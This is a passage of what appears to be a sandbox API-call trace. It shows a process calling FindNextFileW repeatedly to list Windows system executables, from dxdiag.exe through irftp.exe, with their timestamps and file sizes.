ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="find.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0225.615] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="help.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0225.616] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, 